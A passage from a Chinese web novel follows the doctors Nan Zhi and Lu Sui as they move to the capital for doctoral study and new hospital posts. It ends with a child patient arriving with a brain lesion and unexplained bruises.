陆随:“……大哥,你也去,我在你眼皮子底下能做什么事?就算真该担心,也该担心南栀。” “南栀啊?南栀不会的。” 陆随冷哼。 箫珵说:“南栀找几个都没问题,她愿意就行,不过临川应该没合适的,她比较适合去首都找。” 陆随:“……” 他还以为箫珵要说南栀不会劈腿。 原来是不在意她会不会劈腿? 南栀挂断电话走出来,“你们守在门口干嘛?” 箫珵:“还不是他,说是想让你劈腿,再找几个,我已经严肃地骂过他了。” 陆随:“?” 南栀不可思议地看向陆随,“原来你喜欢我劈腿?不合适吧?” 箫珵说:“我说了,就算你想劈腿,也没有合适的对象。” 南栀认真分析道:“其实医院最近来了很多实习生,都还不错,还有前些日子负伤来医院的刑警,还有……” “停!”陆随拉住南栀,气得快冒烟,“你还真顺着杆子往上爬?” 南栀乖乖闭上嘴。 箫珵幸灾乐祸。 看到陆随吃瘪生气,他就开心。 如果陆随过得太自在,他反倒觉得少了点儿什么。 南栀问:“不是商量劈腿的事,那你们在商量什么哦?” 陆随沉默片刻,才拿出一封信,“我申请读博,学校给回复了。” 他和箫珵一起申请的,原本只是顺便邮寄过去,没想着人家会答复,学校却很快给了回信。 陆随原本以为学校是给陆嘉述的面子,没想到箫珵的申请也通过了。 南栀道:“现在的康宁医院可不是以前了,我都去首都的儿研所好几次了,那边的医生都知道咱们医院。” 他们再也不是从默默无闻的小医院出来的医生了! 陆随担心道:“如果去读书,得有几年才能回来。” 南栀:“你们应该不会延毕吧,我对你们有信心!” “……去的话,应该可以去富雅医院。” 南栀:“那很好诶,富雅医院的心外科应该是最强的。” 陆随:“……” 在告诉南栀以前,他不好开口,是以为南栀会舍不得他。 舍不得?? 南栀板着脸批评道:“我们虽然结婚了,但并不代表要时时刻刻绑在一起,生活和工作都很重要,怎么能因为不能待在一起这种小事放弃?” 陆随:“……” 他看向箫珵,“这是小事吗?” 箫珵:“……是吧?” 陆随不可置信,“这是小事?!” 好几个月见不到面,见面只能在一起待两天,要持续几年,这是小事?! 只有他认为是大事?! 南栀保证道:“没关系啦,我肯定不会背着你去找实习生,像是刚来的那个外科医生,虽然长得蛮好的,手术做得也不错,但我心里肯定只有你。” 陆随:“……,好的,我相信。” 南栀:“虽然他长得好看,但是我永远不会变心。” “虽然他长得好看……” 陆随:“!!” 这个学还是别上了吧! 和陆随结婚大半年,南栀几乎没做过什么家务。 现在陆随要去首都读书,南栀认为自己应该关心体贴一下丈夫。 周末,南栀主动提出给陆随收拾行李箱。 “既然要待很久,衣服什么的就直接邮寄吧,路上带些必需品就好。” 南栀找出家里唯一的行李箱。 现在的行李箱还很笨重,只有两个轮子,转向不是很轻松。 南栀忙忙碌碌两个小时。 陆随做好饭出来,看到了一箱子的必需品。 陆随:“……,我是饿死鬼投胎吗?” 他为什么要带一箱子吃的? 南栀说:“除了吃的,我实在想不到还有什么是必须拿不能邮寄的。这些都是我喜欢吃的呢,很好吃的。” 她依依不舍地看着箱子里的各种食品,陆随说要去首都上学时,她都没这么难过。 陆随把南栀拉起来,“先吃饭,今天还有很多事要做。” “有吗?”南栀茫然道,“今天放假,没什么事好做啊,医院那边有我哥和阮乔,也不会突然把咱俩叫过去,还有什么事吗?” 陆随微笑,“几个月见不 到,不该提前做准备?今天很忙,一定很忙。” 南栀:“……” 好像知道要忙什么了。 * 陆随是和箫珵一起去学校报到的,两人一走,心外落寞不少。 熟悉的人基本不在了,南栀也不再往心外跑。 虽然南栀认为事业是最重要的,但真的见不到陆随,她也蛮想他的。 阮乔气定神闲,“天天看你们两个秀恩爱,总算熬过来了,以后大家都是单身狗。” 南栀瘪瘪嘴。 阮乔说:“你如果实在想见他,你也去读博嘛,正经读两年不是挺好的?你如果是研究生学历,也太可惜了。” 而且还有很多人讨论南栀的第一学历,总是提到她去培训班的事。 阮乔知道南栀的本事,嚼舌根的可不见得知道。 南栀以前总觉得她的脑子够用就行,没太考虑过学历。 研究生学历放到现在已经很够用,不会再卡她评职称,在她看来,不去读博也行。 但是…… 南栀道:“我当初坚持要回康宁医院,是想希望住在偏远城市的人也能就近看病。” 如果所有医生都抢着往首都走,临川这种小地方怎么办? 阮乔说:“康宁医院现在还不行?看看儿科都细分多少科室了,其他医院哪有这待遇?都快赶上儿研所了!你放心吧,现在康宁少了你,照样能转。” 这半年儿科又来了很多医生,比如金瑞,终于从恩德跳槽到康宁,和盛昭云都是副主任。 还有柳半芹,在省一院待得心烦,也跑来了。 好医生太多,康宁医院的老人们有点儿跟不上,现在康宁医院每个月都有考核,想原地不动留在康宁是不可能的。 康宁医院除了墙会掉皮,其他都很好。 南栀犹豫道:“可是他们已经开学了,就算我现在申请,也来不及。而且我在那边没有认识的教授,能申请成功吗?” * 读博的生活比想象中枯燥。 陆随以前是最能耐下性子学习看书的,大学四年、研究生三年,整整七年,他都能做到独来独往,每天和医学书做伴。 现在再跑来念书、上课、上班,陆随怎么都不适应。 反倒是箫珵适应得很好。 他们不住在学校,都住富雅医院的家属楼,箫珵已经和其他人打成一片。 周末是老教授的生日,同学们商量着一起给老教授送礼物,还特意叫着箫珵一起。 箫珵过来叫陆随,“大家都去,你别搞特殊。” 陆随懒得抬头,“和我无关,懒得去。” “人家老教授资历在呢,你得考虑考虑前途吧?就算是面子功夫,也得做到位。” 陆随连眼皮都懒得掀了。 箫珵拿出杀手锏,“我要给南栀打电话了。” 陆随冷笑,“她比我更不想去。” 箫珵:“我就说你在学校和其他女生暧昧。” 陆随放下书起身,“约在哪?现在走?” 箫珵满意地点头。 陆随道:“迟早有一天她会明白,亲哥也会说谎。” 箫珵:“让我想想,该怎么说你和小美的关系,你还记得小美吗?挺喜欢你的那个医生。” 陆随:“……走!现在就去!” 几个在读博士一起给老教授庆祝生日,选的地点是饭馆包间。 老教授的酒量还挺好,他举起酒杯,一桌人都得陪着喝酒。 陆随拒绝了几轮,最后两轮实在没能推脱。 箫珵也喝了一点儿,两个酒量不好的人都晕乎乎的。 刘美走到二人身边,主动说道:“你们先回去吧,酒量不太好哦,他们还得再喝一会儿。” 箫珵说:“没事,我们一起。” 刘美笑道:“还要再去第二场,你们跟不上的。” 箫珵:“……” 陆随起身去拿衣服。 刘美看着陆随的背影笑道:“陆医生真的很不喜欢这种场合。” 箫珵拧起眉。 他有义务为南栀挡住一切试图接近陆随的女人! 箫珵挡住刘美的视线,强调道:“没办法,他老婆不喜欢他喝酒。” 刘美怔了怔,歪头道:“说起陆医生的妻子,你好像很熟悉?” 箫珵:“那当然了,她是我妹妹。” 刘美:“……我记得陆医生的妻子姓南。” 箫珵:“……” 不同姓的缺点又来了。 箫珵正在想说辞,刘美就问:“箫珵,你该不会是喜欢陆医生的……” 箫珵:“真是妹妹!不同姓而已,她妈是我……姨妈,对,姨妈。” 刘美松口气,害羞道:“那我就放心了。” 箫珵:“?” 刘美说:“其实你应该能感觉出来,我对你……” 箫珵:“……” 不太对劲。 刘美道:“我对你挺有好感的。” 箫珵:“?!,什么时候的事?” “我每天都去找你,你看不出来吗?” “……你不是来找陆随的吗?” “我不好意思直接说嘛。” 箫珵:“……” 他向陆随发出求救信号。 陆随已经穿好外套,朝他微笑,“你们聊,没事的话我就先走了。” 箫珵:“!!” 救他啊!救他!他不擅长拒绝女生! 陆随笑眯眯道:“我会通知南栀,她马上就有嫂子了。” 箫珵:“……” 背信弃义的陆随!! 陆随下楼。 首都夜晚的星星不如临川多,临川总能看到满天繁星。 陆随喝了酒,不太清醒,打算在楼下吹吹冷风。 路过电话亭,陆随走进去,还没反应过来,电话卡已经插进去,拨通家里的电话。 他一直很注意不要去打扰南栀,总是在周末的白天给她打电话,只有今天一次,应该没问题吧? 电话拨了过去,但是响了十几声,没人接听。 陆随挂断电话,又重新打了一遍。 和上次一样,还是没人接。 南栀今天不值班,应该早就到家了才对。 是在医院忙? 第120章 第120章谁 陆随打了两遍电话都没人接,有点儿担心。 他正想着要不要给医院打电话问问,就听到有人在敲电话亭的透明门。 陆随打开门,箫珵痛骂道:“你!背信弃义!亏我把你当妹夫,刚刚的情况,你居然不救我?!” 陆随似笑非笑,“你不是擅长处理这种关系吗?” 箫珵:“……你!” 他可不擅长安抚女生! 箫珵瞥了眼电话,露出不怀好意的笑容,“南栀没接电话?” 陆随蹙眉。 箫珵轻咳两声,煞有介事道:“我妹妹就是人太好,不嫌弃你体弱多病,你离开的时间久了,她就会发现,其实有你没你都一样。” 箫珵绞尽脑汁地火上浇油。 最好能把陆随心里的小小火苗彻底点燃! 陆随白了箫珵一眼,“无聊。” 他拔出电话卡,走出去。 箫珵还记恨着他刚刚落井下石的事,紧跟在他身后追着说道:“你仔细想想,医院新来了多少同事,每一个都要我妹妹来带,她估摸着早就把你忘了,她肯定是工作为主。” 陆随的眉头拧成疙瘩。 他当然不相信箫珵的话,这家伙说得每一个字都是为了让他不爽。 但是…… 南栀还真是个全身心投入到手术中的工作狂。 祁念珍劝她多搞科研,她嘴上答应,但手术一台都没少。 陆随倒是不是和工作争风吃醋,他绝对没这个意思,就是有点儿担心。 比起手术,他显得毫无魅力。 陆随替自己悲哀。 没想到有一天他要和手术争风吃醋! 箫珵见陆随表情有变化,愉悦地吹起口哨,把开心挂在脸上,把刺塞进陆随心里。 爽! 有学生匆匆路过,惊悚地看着二人。 这俩人明明都是从临川来的,听说还是亲戚,按理说应该关系不错,但每天 都像要弄死对方。 陆随的内心有两个小人在打架。 在南栀心中,到底是他重要,还是工作重要? 还用问吗,当然是工作重要。 他走的时候,南栀可是一点儿都没表现出不舍得! 两人骑自行车回宿舍。 他们的宿舍都是单人间,每个房间大概十平方米,有一张一米二的床,还有书桌和衣柜,除此之外就没什么了。 一日三餐在食堂解决,也不需要他们做什么。 宿舍里有学生也有医生,甚至还有学校和医院的后勤人员,很杂。 有人在走廊放置煤气和锅,就在走廊上做饭。 陆随一路回来,好像每个人都在冲着他笑。 他不太喜欢维持人际关系,和这些人都不认识,平时也不会打招呼。 但现在,他们每一个人和他好像都是熟人。 箫珵低声问:“你偷偷讨好他们了?” “……怎么可能。” “他们干嘛都看着我们笑?” 陆随猜道:“你招蜂引蝶被发现了?” “呸,他们是在看你!” 一个中年女人朝陆随招手,“很不错哦。” 陆随仔细看了她一会儿,才认出她是在食堂打饭的阿姨,她男人是医院的后勤人员,一家三口都挤在一间房里,这么多年也没混上个正经的福利房。 陆随对她记忆深刻,还是因为她打饭打菜最多,毫不吝啬。 冲着这份饭量,陆随先问好,接着又问:“您说什么不错?” 女人挤眉弄眼,“还装,我都看见了,那姑娘不错。” 箫珵:“?” 他揪住陆随的衣领,“你在外面乱搞?” “我们一直在一起!” 箫珵:“不行,好不容易找到机会顺手揍你,我不会相信你任何话。” 陆随:“……” 要不直接揍呢? 在女人暧昧的注视下,陆随奇怪地往房间走。 箫珵和陆随的房间隔着一层楼,但他坚持要去陆随那边检查。 “必须断掉一切可能性!” 陆随现在也挺想知道那位姑娘是谁。 二人继续往楼上走,陆随住在五楼,五楼的烟火气没那么重,只有三四人在走廊里走。 同样的,他们看到陆随后也露出古怪的笑容。 陆随加快脚步。 躲开路人,陆随终于看到引起骚动的人。 就在他房间门口,背着双肩包,穿的是浅棕色的风衣。 风衣和双肩包的风格其实不太搭配,但颜值就是正义,两者搭配在一起,有种诡异的和谐,看起来像杂志上的时髦女郎。 箫珵转身去找铁锹。 他要把陆随的脑袋开瓢! 蹲在门口的女人看到二人站了起来,热情地朝他们挥手,“哥!陆随!” 箫珵停下,“啊?” 陆随怔住好一会儿,笑容慢慢爬到脸上。 南栀快步走过来,扑到陆随怀里,“好久不见。” 箫珵一根手指勾住南栀的衣领,把她拽走,“禁止你俩亲密。” 宿舍面积虽然不大,但还能摆下两张书桌,箫珵把自己房里的桌子搬过来,两张桌子摆在一起,陆随跑到食堂打饭,南栀终于能吃上一口热乎的。 “太倒霉了,上车就遇到小偷,把我的东西全都偷走了,我所有重要物品都在兜里。” 箫珵紧张道:“你没受伤吧?” 南栀:“我怎么会受伤呢,我多聪明,这一路都是和列车员待在一起的。他们说如果找到包,会联系我。” 箫珵:“人没事就行,包里有什么?有证件吗?有的话,及时去补。” “没有证件,但都是很重要的东西,”南栀失望道,“我难过好久。” 陆随眉头一皱,“你说的重要东西,该不会是……” 南栀掰着手指头给箫珵算,“乔乔送给我的烧鸡也在里面,这家烧鸡只有她家旁边才有,很难买到的。还有盛医生送给我的点心,是从省会买来的,韦宁雨给我的半个西瓜也在里面,西瓜都过季了,买到西瓜多不容易!” 箫珵认真听着,越听越不对劲,“呃,所以你说得重要的东西是?” 南栀震惊:“这还不重要?!” 箫珵:“……” 他妹妹以前是这样的吗? 陆随忍着笑说道:“明天再去买一份就是了,我这里没什么吃的,首都新开了一家商场,去看看。” 箫珵心中警铃大作,“南栀要睡在你这里?” 陆随挑眉,“不然呢?” 箫珵:“……” 虽然他们已经领证结婚很久,但箫珵始终转不过弯来。 每次看到南栀和陆随待在一起,他都有一种家里大白菜被猪啃的感觉,痛心疾首! 箫珵提议,“还是去招待所,我花钱,给你找个好的招待所。” “为什么要去招待所,床一米二,挤一挤睡得下。” 箫珵:“还要挤一挤??!” 南栀:“……” 她搞不懂这是值得震惊的事吗? 陆随叹气,他保证道:“我们只是休息,放心吧,好吗?” 箫珵完全放心不了。 陆随岔开话题,“你怎么突然过来,也不说一声,我好去车站接你。” “乔乔说要给你们个惊喜,顺便看看你们在医院做什么。”南栀道,“你喝酒了?” 陆随:“教授生日,喝了一点儿。” 箫珵不满道:“阮乔让你来查岗?有我在,还需要查岗?” 南栀一本正经道:“乔乔说男人会互相包庇,你的话也不能信。” 箫珵:“……” 说得好有道理。 箫珵对陆随严防死守,在陆随的房间磨蹭了一个多小时,眼见着其他人都关灯休息,他不得不离开。 离开时还虎视眈眈。 南栀不太理解,“我们已经领证很久了啊,哥他怎么还是这态度,你上学的时候怎么欺负他了?” 陆随走到南栀旁边,将她搂在怀里。 南栀嗅到他身上淡淡的酒气,提醒道:“喝酒对心血管不好哦,你是心外医生,你最清楚了。” 陆随抱着她没松手,“恩,知道了。” 他抱得紧,南栀无法呼吸,她轻轻推了他一下,嘀咕道:“得休息了,我想先去洗个澡。” 但宿舍的条件看起来也不好。 陆随本想拒绝,忽然又想到什么,笑道:“学校有浴室。” 南栀:“……” 他笑得有点儿恐怖。 南栀提醒道:“你刚刚和我哥说,我们只是休息。” 陆随恍若未闻。 南栀:“……” 学长变了,完全变了! 翌日,南栀和陆随一起去学校转了转。 不愧是全国最好的医科大学,临川的学校比不了,光是学习的氛围就比不了。 南栀还跟着陆随一起去蹭课。 他们读博的,除了上课、做研究外,也要去医院上班,尤其是陆随,做手术的手艺不能落下,每天的生活非常充实。 读博的人不多,看起来更像是小班,只有五个学生,有的时候根本不需要教室,直接去老教授的办公室或者宿舍上课。 南栀这个课蹭得非常明显。 按理说他们念了这么多年书,都已经快三十,是成熟的大人了,但见陆随领女生进来,还是一起起哄。 陆随淡定道:“这些是我单身的同学们。” 箫珵带头,陆随差点儿被打死。 课余时间,陆随把南栀带到学校图书馆,这边的期刊更新得比较快。 他们已经习惯在书店和图书馆“约会”,而且这种行为在首都的医科大学居然很常见。 陆随尽量让南栀看到医科大学的优势。 箫珵搞不懂,“南栀难得过来,你带她出去逛逛多好。” 首都有这么多好玩的地方,总窝在学校做什么? 陆随只笑不语。 南栀若有所思。 晚上箫珵请南栀和陆随吃饭,选的是首 都相当有名的饭店。 南栀也不和箫珵客气,把想吃的都点了一遍,点完又有些后悔,“吃不完怎么办?” 箫珵道:“陆随吃,这不是男朋友的功能之一吗?” 捡剩吃。 南栀深以为然。 陆随:“……” 南栀吃饱了,才宣布,“我确实应该好好读书,我打算读博。” 陆随忍着笑给南栀倒果汁,“今年已经开学,明年来得及。” 箫珵倒是很支持南栀继续学习,如果有可能,他还想带着南栀去留学深造,只不过现在国外的水平也不如他们曾经学过的。 但是陆随的态度…… 箫珵后知后觉道:“你天天带着她在学校里转悠,合着是诱惑她来读博?” 陆随:“我可没这样想。” 箫珵:“……” 呸,南栀来上学,他们又能利用不多的时间待在一起腻歪。 他现在只庆幸南栀是神外医生,如果南栀是心外的,他岂不是每天都要看到他俩? “还好,”箫珵说,“现在去准备申博,也不能立刻来学校读书,我还能消停一段时间。” 南栀露出笑容,“还有一件事。” 箫珵:“?” 南栀道:“我来首都其实不只是看陆随和你的。” “等等,”箫珵问,“为什么先提到陆随,后提到我?” 陆随:“?,难不成要先提你再提我?” “不应该吗?!” 南栀:“……” 她希望这种三岁小孩儿的吵架方式能少一些。 南栀抬高声音,“还有——我不是来玩的。” 陆随和箫珵看过来。 南栀说:“其实是富雅医院的龙主任邀请我加入他们的科研小组,研究肿瘤。儿研所那边也一直邀请我过去。” “你决定去儿研所工作?” 南栀点头。 箫珵先是高兴,脸色很快又垮了,“该不会是为了他吧?” 南栀:“……确实也有一点。” 她还是想离陆随近一些的。 “不过还是长远考虑吧,”南栀解释道,“临川市的病例确实不如儿研所多,现在康宁医院已经很好了,虽然武涛的事情对医院打击很大……不过说实话,现在信息传播的速度还是太慢,很多人根本不知道这回事,连院长带着所有科室自查,以后会越来越好的。” 箫珵面无表情道:“就是因为他。” 南栀心虚地移开目光。 确实,如果没有陆随,她可能还会再犹豫一段时间。 她知道不能真的一直待在临川,但总担心神外出问题。 韦初雪和阮乔一起拍着胸脯保证,她才放心地走的。 儿研所那边已经联系过她很多次,说是舒教授走了,神外没有主心骨。 南栀如果过来,可以直接评副主任。 “比我们还早?!”箫珵震惊。 他和陆随工作时间比南栀久,南栀比他们还小好几岁。 南栀对职称无所谓,“听说儿研所的工资很高哦,好几百,翻了好几倍,可以攒钱给我妈买个好点儿的房子。” 不管怎么说,来儿研所的好处比留在康宁医院多。 南栀休息两天就要去儿研所上班,申博的事,所长答应帮忙。 其实现在首都医科大学的老师们没有比舒映阶资历更深的,选择导师是个难题。 陆随陪南栀一起去报到,他对一件事比较在意——“你在儿研所上班,还要住在儿研所的宿舍?” 南栀点头,“我之前住的房间现在正好没人住,上班方便。” 陆随:“……其实吧,住宿舍有很多不方便的地方。” 南栀:“不会呀,上班方便的。” 陆随试图给南栀洗脑,“上班虽然方便,但家具很少,地方也小,买东西都不知道往哪里放。我现在住宿舍,特别不习惯。” “哦……” 陆随好像醉翁之意不在酒。 陆随:“其实现在首都的房价不高,现在正在房改,再过两年就有商品房,我们也应该在首都投资几套房子,为以后做准备。” 南栀茫然道:“你们家还需要考虑这些吗?” 陆家都快成大家族了。 陆随只好使出杀手锏,“宿舍里没有冰箱,没有电视,更没有空调,还得去公厕,更不能洗澡!” 南栀:“……” 她被击中了。 南栀犹豫道:“那我们……” “在儿研所附近买一套房子,”陆随微笑,“退掉宿舍。” 南栀:“还不知道能在首都待多久,只是住几年,就要买房子吗?” 她的工资虽然翻倍,但还不允许她有这种奢望,现在的房子再便宜,那也是首都的房子。 陆随说:“我们一起住,不亏。” 南栀:“……” 等等,关键是要一起住吧?! 虽然陆随心思阴暗,但南栀的确想生活得舒适些,她实在无法拒绝在炎热的夏季吹空调。 “行是行,但是儿研所和富雅医院不算近。” 陆随保持淡定的笑容,“你离得近就行,我无所谓。” 南栀:“……” 果然是不安好心。 对于南栀回儿研所上班这事,反应最大的奚阳华和沈玫,两人现在都在小儿神外工作。 奚阳华已经可以做一些简单的手术,但暂时还没能做主刀医生。 南栀上班第一天,所长亲自召集小儿神外众人开会,南栀就坐在主任对面。 所长很客气,“大家都认识南主任,就不多介绍了。南主任最近做的几台手术相当精彩,大家要多向南主任学习。” 奚阳华双目空洞,脑海中只有三个字:南主任南主任南主任…… 他还只是普通的医生,南栀已经是副主任。 他送给南栀的首都特产终究是错付了!! 所长发言结束,大家齐刷刷鼓掌。 康宁医院在发展中,新面孔才比较多,儿研所大部分都是老面孔。 儿研所的医生放在小地方的医院,那都是一等的精英骨干,不会轻易换工作岗位。 主任笑道:“舒教授走后,我这心里真是没底,全国唯一的小儿神外还能不能继续做下去,南栀回来我就放心了,现在就等着南栀接我的班!” 奚阳华心如死灰。 不仅是副主任,还会成为主任吗? 成为他的大领导? 主任主任主任…… 不仅是副主任,她还有可能是主任!! 南栀刚到,排的班不多。 她不喜欢做行政类工作,排班的工作是另一位副主任在做。 沈玫兴冲冲地拉着奚阳华去看她,“你来飞刀那几次,所长一直在念叨你,总算把你挖来了。主任还说,全国最好的儿科医生必须在儿研所,但就你特殊,你把小儿神外最好的名头都抢走了。” 当初南栀执意回临川,他们都觉得南栀傻,能留在首都工作,是很多人梦寐以求的事情。 回到一个小城市,去一家一般般的医院搞小儿神外,搞得起来吗? 没想到康宁医院还挺出息,如果不是武涛中饱私囊,现在的势头会更猛。 奚阳华幽怨地看着她,“你为什么还要回来,你竟然还能回来?!” 南栀:“……” 台词有点儿耳熟。 南栀笑笑,“刚刚主任和我说,助手可以随便挑,你们现在能上台吗?” “可以,”沈玫说,“简单的小手术我也能做,他也行,我俩给你当助手。” 奚阳华持续幽怨,“原来我在主任心中,只是可有可无的人。” 沈玫掐了下他的腰,“正常点儿。” 奚阳华悲痛不已。 他看到南栀还能正常吗! 房子的事,陆随很快落实。 好在首都买各种电器都比临川更方便,价格管制已经取消,也不需要票证。 不出一个星期,新家的家具和家电已经布置好,买的是老房子,也没 有甲醛问题。 陆随当天就拉着南栀搬家。 箫珵过来帮忙,看到房子是两室一厅,道:“还不错,其实我住在宿舍也很不方便,我……” 陆随把他赶走。 箫珵:“呸。” 新家就在儿研所旁边,走路十分钟,骑自行车更快。 南栀担心医院会有紧急状况,去买了一辆自行车备用。 陆嘉述过段时间也要过来,她年纪大了,没人做临川陪着,家里人都不放心,陆敬玮让她一起来首都。 南栀在这方面操心比较少,都是陆随操心,她只负责上班、学习。 儿研所的门诊的确比康宁多,而且病情更复杂。 南栀忙了一天,基本上没看到情况轻微的病历,一上午就确诊了两个脑瘤患儿,其中一人要尽快做手术。 除了在儿研所出诊、做手术,南栀还要去富雅医院找龙潭,龙潭的团队都在富雅医院,富雅医院和儿研所是合作关系。 南栀抽出一天的时间去和龙潭谈科研项目。 她再一次来到富雅医院,陆随现在就在富雅医院跟着老教授一起上班。 他是先工作再读博,现在也是主刀医生,能动手术的。 南栀先去心外看了看,没找到陆随和箫珵,便直接去见龙潭。 龙潭不在,一个眼熟的护士站在主任办公室门口,南栀笑着走过去,“你好。” 护士茫然地看着南栀。 这谁?【魔蝎小说 mo xie xs .c om】 120-123 第121章 第121章不配不配 南栀不穿白大褂时,穿衣服很随意,只按照在后世的习惯穿。 时尚是个轮回,南栀在后世的穿衣风格放到现在也挺时尚。 最重要的是,平时的她看起来更像是学生,不像医生。 护士看了她好半天。 南栀道:“我以前来这里做过手术。” 护士:“哦哦,你是来复查的?龙主任现在不在,你叫什么,我记一下告诉他。” “不是啦,”南栀,“我是来这里给病人做手术的。” 护士:“……” 啥? 南栀乖巧道:“麻烦你帮我找一下龙主任,我们约好了来谈事情。” 护士顶着震惊脸,一步三回头。 南栀来富雅医院,不仅是要讨论他们自己的课题,她还想见见肿瘤科的医生,康宁医院目前还不能赶超富雅,富雅在肿瘤方面仍然是权威。 十分钟后,一堆中老年人聚在会议室,南栀显得格格不入。 偏偏龙潭还格外隆重地介绍了她,“这位就是南医生,外科天才,手术的水平我都赶不上。” 南栀迅速回忆陆随帮她整理的《职场人情世故》,然后说:“您太谦虚了。” 这样能最大程度地避免得罪人。 不过陆随整理的只是初版,终版是韦宁雨定的。 韦宁雨拿到陆随的稿子,和阮乔一起研究,两人心里只有一个疑问——“这俩人的嘴,真能安稳活到现在?” 没被打死啊? 南栀提出建立小儿肿瘤组织,汇集全国病例,讨论治疗经验,通过组织做必要的宣传。这些只靠儿研所办不到,她希望富雅医院能帮忙,今后她将以此为工作目标。 往后几个月,南栀就在儿研所和富雅医院之间转悠。 研究课题和基因有关,有了不小的进展。 这倒是方便陆随,偶尔他还能顺便把南栀接走。 一直到来年二月份,小儿肿瘤组织的准备工作已经完成得差不多,各个省市的儿童医院都在关注,接下来就要确定名单,召开第一届会议。 南栀作为发起人,还顶了个会长的名头,不过行政方面的工作都是其他人做的。 南栀的事情太多,周末也经常加班,这天还被拉到诊室帮忙看一个情况严重的患儿。 患儿是多激素性垂体腺瘤,比较少见,从地方调过来的。 神外的几个副主任都去开会讨论患儿的情况和治疗方案,会议还没结束,沈玫又敲门走进来,“南主任,来了一个患者,没挂号,说是你的朋友。” 南栀的号不容易挂,很火爆。 主任笑道:“现在已经过下班的时间,不想去就算了,如果每个人过来都要求加号,咱们就真下不了班了。” 南栀道:“我没有本地的朋友,他是从外地来的?” “说是刚下火车。” 南栀收拾好东西起身,“主任,我过去看看,人家都从外地赶过来了,总不能把人赶走。” 主任笑笑。 对于这种情况,大家都习以为常,他们每天都是超负荷地工作,但工资上体现得并不明显。 有的时候看看信封里的工资,再看看每个月加班的时间,都觉得这工作还不如不做,纯纯赔钱。 南栀曾经安慰过他们,“虽然我们现在加班多、工资一般,但是只要我们努力……以后还是会这样的嘛。” 后世正经做医生的,都是一个人当三个用,工资不算太少,但也谈不上很多。 整个科室都有被安慰到。 未来真是充满希望! 南栀来到诊室,看到一个抱着孩子的老人。 老人衣着朴素,她们刚下火车,拎着大包小包直接来医院,孩子在她怀里睡着了。 南栀觉得老人眼熟,但没认出来,最多是曾经见过的关系。 叶秀英抱着孩子走到南栀面前,“南医生?可算是见到你了,我们听说你在首都,赶紧过来看看,他们是没什么办法了,我只能靠你了。” 南栀疑惑道:“我们认识?” 叶秀英费劲地托着孩子。 孩子有七八岁,她身材矮小,抱着孩子有些困难。 南栀想把孩子接过来,叶秀英后退一步,拒绝道:“她不舒服,好不容易睡一会儿,等会儿再叫她吧。” 沈玫无奈道:“不叫醒她,也没法看病啊。” 叶秀英为难地看着孙女。 南栀道:“不着急,先看看情况吧,她有什么问题?” 叶秀英手忙脚乱地从蛇皮袋里找出一个纸袋子,里面是女孩全部检查结果。 南栀找出女孩的病历,看到首页上的名字,怔住,“卢思萌?” 叶秀英笑道:“我们萌萌以前哮喘,经常去康宁医院看病,你经常上报纸,她看到以后特别开心,说是认识你,还说以后要和你一样做医生上报纸。” 南栀迅速翻开病历。 卢思萌,步态不稳三个月,左侧面瘫、嗜睡已有两个多月。 病发后不爱活动,精神比较弱,已经有两个月没去学校。 南栀对卢思萌记忆深刻,她有哮喘,但最喜欢跟在井珧身后,井珧可是混世大魔王,不管在哪里都能把其他小朋友“带坏”。 后来井珧如愿和妈妈生活在一起,去医院的次数才少了些。 南栀问:“只做了CT?没做MRI?” 叶秀英道:“孩子已经不在临川市了,我是想带着她去找你,才带她去康宁医院,阮医生给看的,只做了CT,她说什么颅内有占位?我也不太明白,她让我直接来找你,到这边再做检查。” 南栀把叶秀英带进诊室。 “MRI必须要做,CT只能看到有占位,可能是脑脓肿,也可能是其他问题,看占位大小,估计要做手术,需要准备治疗费用。”南栀看向叶秀英的行李。 她记得卢思萌家里条件不错,每次都把她送去住院,花销其实不小。 但叶秀英的行李却很简陋,南栀注意到,她的衣服甚至还有补丁。 在城市,成人穿带补丁的衣服的,其实不太多。 南栀问:“有心理准备吗?” 叶秀英局促道:“我知道治病要花钱,我也准备了一些,现在手里有五百块,肯定不够吧?” 南栀轻轻摇头,“我记得萌萌的爸妈赚得不少?” 叶秀英叹气,“可别提他们了,他们啊,就没管过萌萌。” 两年前,卢思萌的爸妈离婚,她最开始跟妈妈过 ,后来妈妈再婚,又去跟爸爸。 爸爸的对象一直没断过,平时不怎么管她,偶尔给点儿零用钱就算了。 她爷爷奶奶本来对她不错,但是最近爸爸有了结婚对象,对方已经怀孕,爷爷奶奶就顾着新儿媳肚子里的大孙子了。 南栀想到,卢思萌住院时,她的父母的确不太上心。 南栀问:“妈妈也不管她了吗?” “我的女儿我了解,”叶秀英说,“她最不愿意吃苦,说是男人不同意她带孩子过去,怎么都不愿意把孩子接走,我就只能先照顾着。我呢,没太多钱,我女儿生活也不容易,我做妈的不能给她拖后腿,没管她要过钱。到现在就攒下五百块,不过我还有厂里分的房子,回去和人家商量商量换钱,应该够给萌萌做手术。” 叶秀英省吃俭用惯了,活了一辈子,兜里却没什么钱,不是她赚得少不努力,其实是补贴女儿太多。 女儿赚得不少,花钱也大手大脚,一点儿都没有攒钱的意识,不够了就去找叶秀英要。 叶秀英没多想,反正是自己的女儿,给她钱还能有什么问题? 没想到现在叶秀英需要用钱,女儿却翻脸不认人。 南栀意识到,卢思萌是被父母抛弃了。 她轻声道:“费用方面我们尽量节省,没关系的。” 叶秀英道:“该用什么药就用什么药,我还有嫁妆没动,怎么说都得把孩子的病治好。” 十分钟后,卢思萌才醒过来。 她身体不舒服,一直没精神,但看到南栀后还是惊喜地叫道:“南瓜姐姐!” 沈玫茫然问道:“南瓜姐姐?南栀?这是外号?” 卢思萌认真地掰着手指头算,“傻瓜姐姐姓南,所以是南瓜姐姐,这是井珧说的。井珧是我的老大哦,他很聪明的,说得肯定是对的。” 沈玫不可置信道:“南栀傻?” 是在说她认识的南栀吗? 如果南栀是傻子,世界上还有聪明人吗? 卢思萌点头,“卫天是这样说的,卫天比井珧更聪明!他是我们的军师!” 他们还和她一起管南栀叫南瓜姐姐呢,多好听。 卫天被小姨带走,南栀已经有很久没见过他,猛然听到这个名字,还有点儿陌生。 仔细想想,当时的卫天应该是陆随吧? 哦,原来陆随说她是傻瓜。 南栀把卢思萌叫过去,“姐姐给你做检查。” 卢思萌乖乖地爬上椅子坐好。 来都来了,南栀打算给卢思萌做全身检查,她有哮喘病,身体不如其他小朋友。 她拿出好久没用的听诊器,掀开卢思萌的衣服。 诊室偶尔会有其他人挤进来,南栀一般不会掀太多,但今天她刚掀开一角便看到卢思萌腹部有瘀青。 南栀迅速解开卢思萌的扣子,脱掉衣服后看得更加清楚,她身上有大大小小十余处瘀青。 